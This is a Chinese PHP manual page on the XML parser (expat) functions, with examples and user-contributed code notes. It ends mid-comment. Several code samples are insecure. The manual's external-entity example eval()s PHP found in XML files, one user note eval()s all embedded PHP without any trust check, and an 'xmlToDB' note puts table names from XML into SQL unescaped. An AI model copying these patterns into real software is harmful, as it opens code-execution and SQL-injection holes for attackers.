后退 | 起点 | 前进
xdiff_string_patch_binary | 上一级 | XML 语法解析函数


XML 语法解析函数

PHP 手册
后退 前进

CLVI. XML 语法解析函数

简介

XML（eXtensible Markup Language，可扩展标记语言）是一种在 web 上进行文档交换的数据格式。该语言是由 W3C（World Wide Web Concortium，世界万维网组织）定义的一种标准。可以访问 http://www.w3.org/XML/ 以获取关于 XML 及其相关技术的更多信息。

本扩展模块可为 James Clark 的 expat 提供支持。该工具包帮助解析 XML 文档（而非 XML 文档的有效化）。它支持三种源代码的编码方式，这三种编码方式也被 PHP 本身所支持，它们分别是：US-ASCII、ISO-8859-1 和 UTF-8。本系统尚不支持 UTF-16。

本扩展模块使用户能够建立 XML 语法解析器，并对不同的 XML 事件定义对应的处理器。每个 XML 语法解析器都有若干个可根据需要调整的参数。

需求

本扩展模块默认使用 expat compat layer。它也可以使用 expat，可以访问 http://www.jclark.com/xml/expat.html 来获取。expat 自带的 Makefile 文件不会生成默认的扩展库，可以使用以下的生成规则来实现：
libexpat.a: $(OBJS)
    ar -rc $@ $(OBJS)
    ranlib $@

请访问 http://sourceforge.net/projects/expat/ 以获取 expat 源文件的 RPM 包。

安装

这些函数默认为有效的，它们使用了捆绑的 expat 库。您可以通过参数 --disable-xml 来屏蔽 XML 的支持。如果您将 PHP 编译为 Apache 1.3.9 或更高版本的一个模块， PHP 将自动使用 Apache 捆绑的 expat 库。如果您不希望使用该捆绑的 expat 库，请在运行 PHP 的 configure 配置脚本时使用参数 --with-expat-dir=DIR，其中 DIR 应该指向 expat 安装的根目录。

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

xml

由 xml_parser_create() 和 xml_parser_create_ns() 返回的 xml 资源引用了一个 XML 解析器实例，将被用在本扩展库提供的函数中。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

XML_ERROR_NONE (integer)

XML_ERROR_NO_MEMORY (integer)

XML_ERROR_SYNTAX (integer)

XML_ERROR_NO_ELEMENTS (integer)

XML_ERROR_INVALID_TOKEN (integer)

XML_ERROR_UNCLOSED_TOKEN (integer)

XML_ERROR_PARTIAL_CHAR (integer)

XML_ERROR_TAG_MISMATCH (integer)

XML_ERROR_DUPLICATE_ATTRIBUTE (integer)

XML_ERROR_JUNK_AFTER_DOC_ELEMENT (integer)

XML_ERROR_PARAM_ENTITY_REF (integer)

XML_ERROR_UNDEFINED_ENTITY (integer)

XML_ERROR_RECURSIVE_ENTITY_REF (integer)

XML_ERROR_ASYNC_ENTITY (integer)

XML_ERROR_BAD_CHAR_REF (integer)

XML_ERROR_BINARY_ENTITY_REF (integer)

XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF (integer)

XML_ERROR_MISPLACED_XML_PI (integer)

XML_ERROR_UNKNOWN_ENCODING (integer)

XML_ERROR_INCORRECT_ENCODING (integer)

XML_ERROR_UNCLOSED_CDATA_SECTION (integer)

XML_ERROR_EXTERNAL_ENTITY_HANDLING (integer)

XML_OPTION_CASE_FOLDING (integer)

XML_OPTION_TARGET_ENCODING (integer)

XML_OPTION_SKIP_TAGSTART (integer)

XML_OPTION_SKIP_WHITE (integer)

事件处理器

XML 事件处理器定义如下：

表格 1. 已支持的 XML 事件处理器

用来设置处理器的 PHP 函数 | 事件描述
xml_set_element_handler() | 元素事件（Element events）将在 XML 解析器遇到标记符的起始符或者终止符时发生。另外，对于起始符和终止符也有独立的处理器。
xml_set_character_data_handler() | 粗略的说，字符数据（Character data）是指 XML 文档中所有标记符以外的内容，包括标记符之间的空格。需要注意的是 XML 语法解析器不会加上或者去掉任何空格。空格的取舍将由应用程序（也就是你自己）来决定。
xml_set_processing_instruction_handler() | PHP 程序员对“处理指令”（Processing Instructions，PI）应该已经很熟悉了。<?php ?> 就是一个处理指令，其中 php 被称为“PI target”。除了以“XML”开头的 PI target 已被保留以外，对这些 PI 的处理将由应用程序来完成。
xml_set_default_handler() | 所有无法被其它处理器处理的事件将由默认处理器来处理。这些事件包括诸如 XML 和文档类型声明等内容。
xml_set_unparsed_entity_decl_handler() | 该处理器将在遇到无法解析的实体名称（NDATA）声明时被调用。
xml_set_notation_decl_handler() | 该处理器将在声明一个注释时被调用。
xml_set_external_entity_ref_handler() | 当 XML 解析器遇到指向外部解析的一般实体名时，该处理器将被调用。该指向的目标可以是一个文件，也可以是 URL。请参阅“外部实体名范例”。

大小写折叠（Case Folding）

元素处理函数可能会导致元素名称“大小写折叠”（case-folded）。“大小写折叠”被 XML 标准定义为“一个应用于一系列字符的过程，在该过程中，这些字符中的所有的非大写字符将被替换成它们对应大写等价字符”。换句话说，对于 XML，“大小写折叠”就是指将字符串转换成大写字符。

所有被传递给处理器函数的元素名称将默认的发生“大小写折叠”。该过程可以分别被 xml_parser_get_option() 和 xml_parser_set_option() 函数查询和控制。

错误代码

以下常量被定义为 XML 的错误代码，将由 xml_parse() 返回：

XML_ERROR_NONE
XML_ERROR_NO_MEMORY
XML_ERROR_SYNTAX
XML_ERROR_NO_ELEMENTS
XML_ERROR_INVALID_TOKEN
XML_ERROR_UNCLOSED_TOKEN
XML_ERROR_PARTIAL_CHAR
XML_ERROR_TAG_MISMATCH
XML_ERROR_DUPLICATE_ATTRIBUTE
XML_ERROR_JUNK_AFTER_DOC_ELEMENT
XML_ERROR_PARAM_ENTITY_REF
XML_ERROR_UNDEFINED_ENTITY
XML_ERROR_RECURSIVE_ENTITY_REF
XML_ERROR_ASYNC_ENTITY
XML_ERROR_BAD_CHAR_REF
XML_ERROR_BINARY_ENTITY_REF
XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF
XML_ERROR_MISPLACED_XML_PI
XML_ERROR_UNKNOWN_ENCODING
XML_ERROR_INCORRECT_ENCODING
XML_ERROR_UNCLOSED_CDATA_SECTION
XML_ERROR_EXTERNAL_ENTITY_HANDLING

字符编码

PHP 的 XML 扩展库支持不同字符编码（character encoding）的 Unicode 字符集。字符编码有两种形式，它们分别是“源编码”（source encoding）和“目标编码”（target encoding）。PHP 对文档内部表示的编码方式是 UTF-8。

源编码将在 XML 文档被解析后完成。源编码可在建立一个 XML 解析器时指明（该编码方式在 XML 解析器的生命周期中不能被再次改变）。支持的编码方式包括 ISO-8859-1，US-ASCII 和 UTF-8。前两种为单字节编码，即每个字符被一个单一的字节表示。UTF-8 支持 1 至 4 个字节的多 bit（最多 12）字符编码。PHP 默认使用 ISO-8859-1 作为源编码方式。

目标编码将在 PHP 向 XML 处理器函数传送数据时被完成。当 XML 解析器被建立后，目标编码将被设置成与源编码相同的编码方式，但该方式可在任何时候被更改。目标编码将影响字符数据、标记符名称以及处理指令目标（PI target）。

如果 XML 解析器遇到其源编码方式表示能力之外的字符，它将返回一个错误。

当 PHP 在被解析的 XML 文档中遇到当前目标编码无法表示的字符时，这些字符将被“降级”。简单的说，这些字符将被问号替换。

范例

以下是 PHP 脚本解析 XML 文档的一些范例。

XML 元素结构范例

第一个范例用缩进格式显示一个文档中起始元素的结构。

例子 1. 显示 XML 元素结构

<?php
$file = "data.xml";
$depth = array();

function startElement($parser, $name, $attrs)
{
    global $depth;
    for ($i = 0; $i < $depth[$parser]; $i++) {
        echo "  ";
    }
    echo "$name\n";
    $depth[$parser]++;
}

function endElement($parser, $name)
{
    global $depth;
    $depth[$parser]--;
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startElement", "endElement");
if (!($fp = fopen($file, "r"))) {
    die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
    if (!xml_parse($xml_parser, $data, feof($fp))) {
        die(sprintf("XML error: %s at line %d",
                    xml_error_string(xml_get_error_code($xml_parser)),
                    xml_get_current_line_number($xml_parser)));
    }
}
xml_parser_free($xml_parser);
?>

XML 标记符映射范例

例子 2. 将 XML 映射为 HTML

以下范例将 XML 文档中的标记符直接映射成 HTML 标记符。在“映射数组”中不存在的元素将被忽略。当然，该范例将只对一个特定的 XML 文档有效。

<?php
$file = "data.xml";
$map_array = array(
    "BOLD"     => "B",
    "EMPHASIS" => "I",
    "LITERAL"  => "TT"
);

function startElement($parser, $name, $attrs)
{
    global $map_array;
    if (isset($map_array[$name])) {
        echo "<$map_array[$name]>";
    }
}

function endElement($parser, $name)
{
    global $map_array;
    if (isset($map_array[$name])) {
        echo "</$map_array[$name]>";
    }
}

function characterData($parser, $data)
{
    echo $data;
}

$xml_parser = xml_parser_create();
// 使用大小写折叠来保证我们能在元素数组中找到这些元素名称
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, true);
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "characterData");
if (!($fp = fopen($file, "r"))) {
    die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
    if (!xml_parse($xml_parser, $data, feof($fp))) {
        die(sprintf("XML error: %s at line %d",
                    xml_error_string(xml_get_error_code($xml_parser)),
                    xml_get_current_line_number($xml_parser)));
    }
}
xml_parser_free($xml_parser);
?>

XML 外部实体范例

该范例能够高亮显示 XML 源代码。它将说明如何外部实体指向处理器来包含和解析其它文档，如何处理 PIs，以及一种确定包含有 PIs 的代码的可信度。

能被该范例使用的的 XML 文档（xmltest.xml 和 xmltest2.xml）被列在该范例之后。

例子 3. 外部实体范例

<?php
$file = "xmltest.xml";

function trustedFile($file)
{
    // only trust local files owned by ourselves
    if (!eregi("^([a-z]+)://", $file)
        && fileowner($file) == getmyuid()) {
            return true;
    }
    return false;
}

function startElement($parser, $name, $attribs)
{
    echo "&lt;<font color=\"#0000cc\">$name</font>";
            if (count($attribs)) {
                foreach ($attribs as $k => $v) {
            echo " <font color=\"#009900\">$k</font>=\"<font
                   color=\"#990000\">$v</font>\"";
        }
    }
    echo "&gt;";
}

function endElement($parser, $name)
{
    echo "&lt;/<font color=\"#0000cc\">$name</font>&gt;";
}

function characterData($parser, $data)
{
    echo "<b>$data</b>";
}

function PIHandler($parser, $target, $data)
{
    switch (strtolower($target)) {
        case "php":
            global $parser_file;
            // If the parsed document is "trusted", we say it is safe
            // to execute PHP code inside it.  If not, display the code
            // instead.
            if (trustedFile($parser_file[$parser])) {
                eval($data);
            } else {
                printf("Untrusted PHP code: <i>%s</i>",
                        htmlspecialchars($data));
            }
            break;
    }
}

function defaultHandler($parser, $data)
{
    if (substr($data, 0, 1) == "&" && substr($data, -1, 1) == ";") {
        printf('<font color="#aa00aa">%s</font>',
                htmlspecialchars($data));
    } else {
        printf('<font size="-1">%s</font>',
                htmlspecialchars($data));
    }
}

function externalEntityRefHandler($parser, $openEntityNames, $base, $systemId,
                                  $publicId) {
    if ($systemId) {
        if (!list($parser, $fp) = new_xml_parser($systemId)) {
            printf("Could not open entity %s at %s\n", $openEntityNames,
                   $systemId);
            return false;
        }
        while ($data = fread($fp, 4096)) {
            if (!xml_parse($parser, $data, feof($fp))) {
                printf("XML error: %s at line %d while parsing entity %s\n",
                       xml_error_string(xml_get_error_code($parser)),
                       xml_get_current_line_number($parser), $openEntityNames);
                xml_parser_free($parser);
                return false;
            }
        }
        xml_parser_free($parser);
        return true;
    }
    return false;
}

function new_xml_parser($file)
{
    global $parser_file;

    $xml_parser = xml_parser_create();
    xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 1);
    xml_set_element_handler($xml_parser, "startElement", "endElement");
    xml_set_character_data_handler($xml_parser, "characterData");
    xml_set_processing_instruction_handler($xml_parser, "PIHandler");
    xml_set_default_handler($xml_parser, "defaultHandler");
    xml_set_external_entity_ref_handler($xml_parser, "externalEntityRefHandler");

    if (!($fp = @fopen($file, "r"))) {
        return false;
    }
    if (!is_array($parser_file)) {
        settype($parser_file, "array");
    }
    $parser_file[$xml_parser] = $file;
    return array($xml_parser, $fp);
}

if (!(list($xml_parser, $fp) = new_xml_parser($file))) {
    die("could not open XML input");
}

echo "<pre>";
while ($data = fread($fp, 4096)) {
    if (!xml_parse($xml_parser, $data, feof($fp))) {
        die(sprintf("XML error: %s at line %d\n",
                    xml_error_string(xml_get_error_code($xml_parser)),
                    xml_get_current_line_number($xml_parser)));
    }
}
echo "</pre>";
echo "parse complete\n";
xml_parser_free($xml_parser);

?>

例子 4. xmltest.xml

<?xml version='1.0'?>
<!DOCTYPE chapter SYSTEM "/just/a/test.dtd" [
<!ENTITY plainEntity "FOO entity">
<!ENTITY systemEntity SYSTEM "xmltest2.xml">
]>
<chapter>
 <TITLE>Title &plainEntity;</TITLE>
 <para>
  <informaltable>
   <tgroup cols="3">
    <tbody>
     <row><entry>a1</entry><entry morerows="1">b1</entry><entry>c1</entry></row>
     <row><entry>a2</entry><entry>c2</entry></row>
     <row><entry>a3</entry><entry>b3</entry><entry>c3</entry></row>
    </tbody>
   </tgroup>
  </informaltable>
 </para>
 &systemEntity;
 <section id="about">
  <title>About this Document</title>
  <para>
   <!-- this is a comment -->
   <?php echo 'Hi!  This is PHP version ' . phpversion(); ?>
  </para>
 </section>
</chapter>

以下文档将被 xmltest.xml 文件调用：

例子 5. xmltest2.xml

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY testEnt "test entity">
]>
<foo>
   <element attrib="value"/>
   &testEnt;
   <?php echo "This is some more PHP code being executed."; ?>
</foo>

目录
utf8_decode -- 将用 UTF-8 方式编码的 ISO-8859-1 字符串转换成单字节的 ISO-8859-1 字符串。
utf8_encode -- 将 ISO-8859-1 编码的字符串转换为 UTF-8 编码
xml_error_string -- 获取 XML 解析器的错误字符串
xml_get_current_byte_index -- 获取 XML 解析器的当前字节索引
xml_get_current_column_number -- 获取 XML 解析器的当前列号
xml_get_current_line_number -- 获取 XML 解析器的当前行号
xml_get_error_code -- 获取 XML 解析器错误代码
xml_parse_into_struct -- 将 XML 数据解析到数组中
xml_parse -- 开始解析一个 XML 文档
xml_parser_create_ns -- 生成一个支持命名空间的 XML 解析器
xml_parser_create -- 建立一个 XML 解析器
xml_parser_free -- 释放指定的 XML 解析器
xml_parser_get_option -- 从 XML 解析器获取选项设置信息
xml_parser_set_option -- 为指定 XML 解析进行选项设置
xml_set_character_data_handler -- 建立字符数据处理器
xml_set_default_handler -- 建立默认处理器
xml_set_element_handler -- 建立起始和终止元素处理器
xml_set_end_namespace_decl_handler -- 建立终止命名空间声明处理器
xml_set_external_entity_ref_handler -- 建立外部实体指向处理器
xml_set_notation_decl_handler -- 建立注释声明处理器
xml_set_object -- 在对象中使用 XML 解析器
xml_set_processing_instruction_handler -- 建立处理指令（PI）处理器
xml_set_start_namespace_decl_handler -- 建立起始命名空间声明处理器
xml_set_unparsed_entity_decl_handler -- 建立未解析实体定义声明处理器

add a note add a note User Contributed Notes
james at clickmedia dot com
04-May-2006 11:35
Thanks for fixing those extra backslashes for me.  I thought the double backslashes were necessary because my code sample didn't seem display properly in the Preview page when I used single slashes.  I figured someone would eventually correct it for me. :)

Anyways, I have an update to storing HTML within XML.  Different servers seem to handle HTML entities differently and I ended up having problems even after changing the trim() function to ignore spaces.

My latest solution is to just enclose the HTML using CDATA blocks.  For example:

<mytag><![CDATA[Here is a bunch of <a href="#">HTML code</a>]]></mytag>

This seems to be a more compatible solution than making the trim() function to ignore spaces.
php dot notes at stoecklin dot net
02-May-2006 01:15
I realized that there is a tiny flaw at line 4 in James' update of Felix' code.  The double backslash will add backslashes to the charlist an not tabs, new lines, carriage returns, NULL-bytes,  and vertical tabs respectively.  The rest of the code has been reproduced as is:

<?php
   function dataHandler($parser, $data) {
     //Trims everything except for spaces
     if($data = trim($data, "\t\n\r\0\x0B")) {
         $index = count($this->data) - 1;
         if(isset($this->data[$index]['content'])) {
           $this->data[$index]['content'] .= $data;
         }
         else $this->data[$index]['content'] = $data;
     }
   }
?>
james at clickmedia dot com
14-Apr-2006 10:12
Felix's fix for Raphael's code works almost perfectly for me.  I'm storing HTML within my XML so any HTML special characters are encoded as HTML entities.  The dataHandler() function trims the spaces around HTML entities, which causes problems with inline HTML like span or anchor tags.  When I need to print out my inline HTML again, all the text is bunched together with no spaces.

To fix this problem, I just updated Felix's fixed dataHandler function.  This shouldn't cause any problems since spaces are pretty harmless in HTML.

<?php
   function dataHandler($parser, $data) {
     //Trims everything except for spaces
     if($data = trim($data, "\\t\\n\\r\\0\\x0B")) {
         $index = count($this->data) - 1;
         if(isset($this->data[$index]['content'])) {
           $this->data[$index]['content'] .= $data;
         }
         else $this->data[$index]['content'] = $data;
     }
   }
?>
vankata at mikromaxbg dot com
28-Feb-2006 07:19
Here I introduce you an XML Parser which creats an array and can evaluate PHP code. If the PHP code returns a string  the value of that string is added to the array.

Here is the XML

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY testEnt "test entity">
]>
<document>
<foo>
   <?php $a = 'foo'; $b = 4; $c = $a.$b; echo "<b>It even evaluates html code  $c</b>\n";  ?>
</foo>
<foo>hi this is text
</foo>
<foo> <?php  echo $a;  ?>
</foo>
</document>

Note that <?php  echo $a;  ?> will not echo  "foo"
You might need to use include('foo.php').
And this is the Parser

<?php
$file = "xmltest2.xml";
$stack = array();

// start_element_handler ( resource parser, string name, array attribs )
function startElement($parser, $name, $attribs)
{
   global $stack;
   $tag=array("name"=>$name,"attrs"=>$attrs);
   array_push($stack,$tag);
}

// end_element_handler ( resource parser, string name )
function endElement($parser, $name)
{
   global $stack;
   $stack[count($stack)-2]['children'][] = $stack[count($stack)-1];
   array_pop($stack);
}

// handler ( resource parser, string data )
function characterData($parser, $data)
{
   global $stack,$i;

   if(trim($data))
   {
             $stack[count($stack)-1]['data'] .= $data;
   }
}
// handler ( resource parser, string target, string data )
function PIHandler($parser, $target, $data)
{
global $stack,$i;
//PHP EVALUATION
   if ((strtolower($target)) == "php") {
           global $parser_file;
         //eval($data);  gust doesn't work if you want the
         //string added to the array
         $text .= '<?php '.$data.' ?>';
         ob_start();
           eval ('?>' . $text);
           $text = ob_get_clean();
           $stack[count($stack)-1]['data'] .= $text;

   }

}

function defaultHandler($parser, $data)
{

}

function externalEntityRefHandler($parser, $openEntityNames, $base, $systemId,
                                 $publicId) {
   if ($systemId) {
       if (!list($parser, $fp) = new_xml_parser($systemId)) {
           printf("Could not open entity %s at %s\n", $openEntityNames,
                   $systemId);
           return false;
       }
       while ($data = fread($fp, 4096)) {
           if (!xml_parse($parser, $data, feof($fp))) {
               printf("XML error: %s at line %d while parsing entity %s\n",
                       xml_error_string(xml_get_error_code($parser)),
                       xml_get_current_line_number($parser), $openEntityNames);
               xml_parser_free($parser);
               return false;
           }
       }
       xml_parser_free($parser);
       return true;
   }
   return false;
}

function new_xml_parser($file)
{
   global $parser_file;
   $xml_parser = xml_parser_create();

   xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 0);

   xml_set_processing_instruction_handler($xml_parser, "PIHandler");

   xml_set_element_handler($xml_parser, "startElement", "endElement");

   xml_set_character_data_handler($xml_parser, "characterData");

   xml_set_default_handler($xml_parser, "defaultHandler");

   xml_set_external_entity_ref_handler($xml_parser, "externalEntityRefHandler");

   if (!($fp = @fopen($file, "r"))) {
       return false;
   }
   if (!is_array($parser_file)) {
       settype($parser_file, "array");
   }
   $parser_file[$xml_parser] = $file;
   return array($xml_parser, $fp);
}

if (!(list($xml_parser, $fp) = new_xml_parser($file))) {
   die("could not open XML input");
}

//ERROR
while ($data = fread($fp, 4096)) {
   if (!xml_parse($xml_parser, $data, feof($fp))) {
       die(sprintf("XML error: %s at line %d\n",
                   xml_error_string(xml_get_error_code($xml_parser)),
                   xml_get_current_line_number($xml_parser)));
   }
}
//END
xml_parser_free($xml_parser);

print("<pre>\n");
print_r($stack);
print("</pre>\n");

?>
adamaflynn at gmail dot com
30-Jan-2006 10:50
There was a bug relating to the way PHP 4 handles references in my code below. I updated the sources to the PHP 4 / PHP 5 compatable SimpleXML-like library to fix this bug and a few other little things. As well, I created a documentation page.

Any problems you can e-mail me at adamaflynn@gmail.com.

Doc:
http://www.thousandmonkeys.net/xml_doc.php

Sources:
http://www.thousandmonkeys.net/xml_parser_php4.phps
http://www.thousandmonkeys.net/xml_parser_php5.phps

Enjoy :)
forquan
29-Jan-2006 07:45
Here's code that will create an associative array from an xml file.  Keys are the tag data and subarrays are formed from attributes and child tags

<?php
$p =& new xmlParser();
$p->parse('/*xml file*/');
print_r($p->output);
?>

<?php
class xmlParser{
   var $xml_obj = null;
   var $output = array();
   var $attrs;

   function xmlParser(){
       $this->xml_obj = xml_parser_create();
       xml_set_object($this->xml_obj,$this);
       xml_set_character_data_handler($this->xml_obj, 'dataHandler');
       xml_set_element_handler($this->xml_obj, "startHandler", "endHandler");
   }

   function parse($path){
       if (!($fp = fopen($path, "r"))) {
           die("Cannot open XML data file: $path");
           return false;
       }

       while ($data = fread($fp, 4096)) {
           if (!xml_parse($this->xml_obj, $data, feof($fp))) {
               die(sprintf("XML error: %s at line %d",
               xml_error_string(xml_get_error_code($this->xml_obj)),
               xml_get_current_line_number($this->xml_obj)));
               xml_parser_free($this->xml_obj);
           }
       }

       return true;
   }

   function startHandler($parser, $name, $attribs){
       $_content = array();
       if(!empty($attribs))
         $_content['attrs'] = $attribs;
       array_push($this->output, $_content);
   }

   function dataHandler($parser, $data){
       if(!empty($data) && $data!="\n") {
           $_output_idx = count($this->output) - 1;
           $this->output[$_output_idx]['content'] .= $data;
       }
   }

   function endHandler($parser, $name){
       if(count($this->output) > 1) {
           $_data = array_pop($this->output);
           $_output_idx = count($this->output) - 1;
           $add = array();
           if ($_data['attrs'])
               $add['attrs'] = $_data['attrs'];
           if ($_data['child'])
               $add['child'] = $_data['child'];
           $this->output[$_output_idx]['child'][$_data['content']] = $add;
       }
   }
}
?>
adamaflynn at gmail dot com
04-Jan-2006 08:40
I wrote a library for parsing XML into a structure similar to SimpleXML's using the expat libraries. There's a php4 and php5 version of it. Basically I designed it as a way to get a structure like SimpleXML without actually needing the SimpleXML extension (like in php4).

The code is GPL, so feel free to use it however you'd like.

http://www.thousandmonkeys.net/xml_parser_php4.phps
http://www.thousandmonkeys.net/xml_parser_php5.phps
sander at gameqube dot nl
25-Dec-2005 07:07
There is flaw in the xml2array function of aerik. It can extract several different nodes with the same name, but a child element with the same name as the parent will go wrong.

For example:

<root>
   <element>
       <element>2</element>
   </element>
</root>

The value of the first 'element' attribute will be '<element>2'. This is not easily solved and personaly I didn't find a solution for this. The problem lies in the use of the regular expression for parsing the xml document, so beware of this drawback when using this method.
orbitphreak at yahoo dot com
15-Dec-2005 02:43
Here's another version of raphael's XMLParser class.  The modification allows you to parse a remote (HTTP) XML file into an array without the need of fopen or fsockopen, which are usually disabled by hosting companies.
<?PHP
class XMLParser {
   var $xml_url;
   var $xml;
   var $data;

   function XMLParser($xml_url) {
       $this->xml_url = $xml_url;
       $this->xml = xml_parser_create();
       xml_set_object($this->xml, $this);
       xml_set_element_handler($this->xml, 'startHandler', 'endHandler');
       xml_set_character_data_handler($this->xml, 'dataHandler');
       $this->parse($xml_url);
   }

   function parse($xml_url) {
       $ch = curl_init();
       curl_setopt($ch, CURLOPT_URL, $xml_url);
       curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
       $store = curl_exec ($ch);
       $data = curl_exec ($ch);
       curl_close ($ch);

       $parse = xml_parse($this->xml, $data, sizeof($data));

       if (!$parse) {
           die(sprintf("XML error: %s at line %d",
               xml_error_string(xml_get_error_code($this->xml)),
                   xml_get_current_line_number($this->xml)));
                   xml_parser_free($this->xml
                 );
       }
       return true;
   }

   function startHandler($parser, $name, $attributes) {
       $data['name'] = $name;
       if ($attributes) { $data['attributes'] = $attributes; }
       $this->data[] = $data;
   }

   function dataHandler($parser, $data) {
       if ($data = trim($data)) {
           $index = count($this->data) - 1;
           // begin multi-line bug fix (use the .= operator)
           $this->data[$index]['content'] .= $data;
           // end multi-line bug fix
       }
   }

   function endHandler($parser, $name) {
       if (count($this->data) > 1) {
           $data = array_pop($this->data);
           $index = count($this->data) - 1;
           $this->data[$index]['child'][] = $data;
       }
   }
}
?>
Examples on how to use it to parse out geographic data are here:
http://www.digital-seven.net/?option=com_content&task=view&id=69
memandeemail at gmail dot com
13-Dec-2005 02:37
XML TO DB

XML Example:
<?xml version="1.0" encoding="iso-8859-1"?>
<data>
<table name="bairro" primary_key="hash">
   <row>
       <field name="hash">1</field>
       <field name="descr">Centro</field>
   </row>
</table>
</data>

<?php
class xmlToDB {
  var $parser;
  var $cn;
  var $table;
  var $recordset = array();
  var $content;
  var $value;
  var $field;

  function xmlToDB() {
   $this->parser = xml_parser_create();
   xml_set_object($this->parser,$this);
   xml_set_element_handler($this->parser,"tag_open","tag_close");
   xml_set_character_data_handler($this->parser,"cdata");

   $this->cn = @mysql_pconnect(XOOPS_DB_HOST,XOOPS_DB_USER,XOOPS_DB_PASS) or trigger_error('Erro ao conectar ao servidor de dados',E_USER_ERROR);
   @mysql_select_db(XOOPS_DB_NAME,$this->cn) or trigger_error('Erro ao selecionar o banco de dados',E_USER_ERROR);
  }
  function parse($data) {
   @xml_parse($this->parser, $data) or
   die(sprintf("Erro de XML: %s na linha %d",
   xml_error_string(xml_get_error_code($this->parser)),
   xml_get_current_line_number($this->parser)));
  }
  function tag_open($parser, $tag, $attributes) {
   $parser;
   switch ($tag) {
     case 'DATA': break;
     case 'TABLE': {
       $this->table = $attributes['NAME'];
       mysql_unbuffered_query("TRUNCATE $this->table");
       $this->recordset = array();
       //[todo]primary key no usada
     } break;
     case 'ROW': break;
     case 'FIELD': {
       $this->content = (isset($attributes['CONTENT'])) ? $attributes['CONTENT'] : '';
       $this->field = $attributes['NAME'];
     }
   }
  }
  function cdata($parser, $cdata) {
   $parser;
   switch ($this->content) {
     case 'base64': {
       $this->value = base64_decode($cdata);
     } break;
     default: {
       $this->value = $cdata;
     }
   }
  }
  function tag_close($parser, $tag) {
   $parser;
   switch ($tag) {
     case 'DATA': break;
     case 'TABLE': break;
     case 'ROW': {
       $sql = "INSERT INTO $this->table";
       $iC=0;
       foreach ($this->recordset as $tcaption => $tvalue) {
         if ($iC==0) $sql .= "\nSET "; else $sql .= ", ";
         $sql .= "`$tcaption` = '";
         $sql .= mysql_real_escape_string($tvalue,$this->cn);
         $sql .= "'";
         $iC++;
       }
       mysql_unbuffered_query($sql,$this->cn);
     } break;
     case 'FIELD': {
       $this->recordset[$this->field] = $this->value;
     }
   }
  }
}

//require('mainfile.php');

require('config.php');
define('XOOPS_DB_HOST', DB_HOST);
define('XOOPS_DB_USER', DB_USUARIO);
define('XOOPS_DB_PASS', DB_SENHA);
define('XOOPS_DB_NAME', 'xoops');

$xsparse = new xmlToDB();

$file = 'bulkinsert.xml';
$fnum = @fopen($file,'r') or exit();//trigger_error('Erro ao abrir o XML',E_USER_ERROR);

while (($data = fread($fnum,4194304))) {
  $xsparse->parse($data);
}

fclose($fnum);

?>
<script>self.close();</script>
aerik at wikidweb dot com
26-Nov-2005 11:24
Thanks Janne and zacheryph, for the fixes.  I found the same problem with the regex, and did a pretty major re-write, which you may be interested in.  This works with multiple tags having the same name, attributes, self closing tags, and text.  It gets the closing tag, if there is one, so you can figure out if you have a self closing tag or a regular tag.  I think it does all the basic stuff...

// Function xml2array
// takes an xml string and returns an array of elements
// each element is an associative array, consisting of 'name', 'test',
// possible 'attributes', sub 'elements', and closing tag if there is one.
// If there are attributes, they are also
// an associative array whose key values are the names of the attributes
// and the values are the array values
// Aerik Sylvan, Oct 27 2005
function xml2array ($xml)
{
   $xmlary = array ();

   if ((strlen ($xml) < 256) && is_file ($xml))
     $xml = file_get_contents ($xml);

   $ReElements = '/<(\w+)\s*([^\/>]*)\s*(?:\/>|>(.*?)<(\/\s*\1\s*)>)/s';
   $ReAttributes = '/(\w+)=(?:"|\')([^"\']*)(:?"|\')/';

   preg_match_all ($ReElements, $xml, $elements);
   foreach ($elements[1] as $ie => $xx) {
   $xmlary[$ie]["name"] = $elements[1][$ie];
     if ( $attributes = trim($elements[2][$ie])) {
         preg_match_all ($ReAttributes, $attributes, $att);
         foreach ($att[1] as $ia => $xx)
           // all the attributes for current element are added here
           $xmlary[$ie]["attributes"][$att[1][$ia]] = $att[2][$ia];
     } // if $attributes

     // get text if it's combined with sub elements
   $cdend = strpos($elements[3][$ie],"<");
   if ($cdend > 0) {
           $xmlary[$ie]["text"] = substr($elements[3][$ie],0,$cdend -1);
       } // if cdend

     if (preg_match ($ReElements, $elements[3][$ie])){
         $xmlary[$ie]["elements"] = xml2array ($elements[3][$ie]);
         }
     else if (isset($elements[3][$ie])){
         $xmlary[$ie]["text"] = $elements[3][$ie];
         }
     $xmlary[$ie]["closetag"] = $elements[4][$ie];
   }//foreach ?
   return $xmlary;
}
Greg S
18-Nov-2005 12:56
If you need utf8_encode support and configure PHP with --disable-all you will have some trouble. Unfortunately the configure options aren't completely documented. If you need utf8 functions and have everything disabled just recompile PHP with --enable-xml and you should be good to go.
Felix dot Riesterer at gmx dot net
17-Nov-2005 08:57
adrian_popescu at yahoo dot com is right when he states, that Raphael's XMLParser Class (which I began to love!) has a flaw with content of multiple lines. I ran into trouble with entities, because Raphael's class would cut off everything before the last entity plus the entity itself leaving only the rest string.

I found out that the "dataHandler" function needs to be repaired. Adrian's mending by use of the ".=" operator is not enough. If $this->data[$index]['content'] isn't set yet you might run into error messages. So check it first! Here's my modification:

<?php

// You need the complete XML Parser Class by Raphael
// as this is only a part of it

   function dataHandler($parser, $data)
     {
     if($data = trim($data))
         {
         $index = count($this->data) -1;
         if(isset($this->data[$index]['content']))
           $this->data[$index]['content'] .= $data;
           else $this->data[$index]['content'] = $data;
         }
     }
?>
adrian_popescu at yahoo dot com
16-Nov-2005 03:04
Raphael's XMLParser has a small bug in the dataHandler function: it cannot handle multiple line values correctly. For instance:

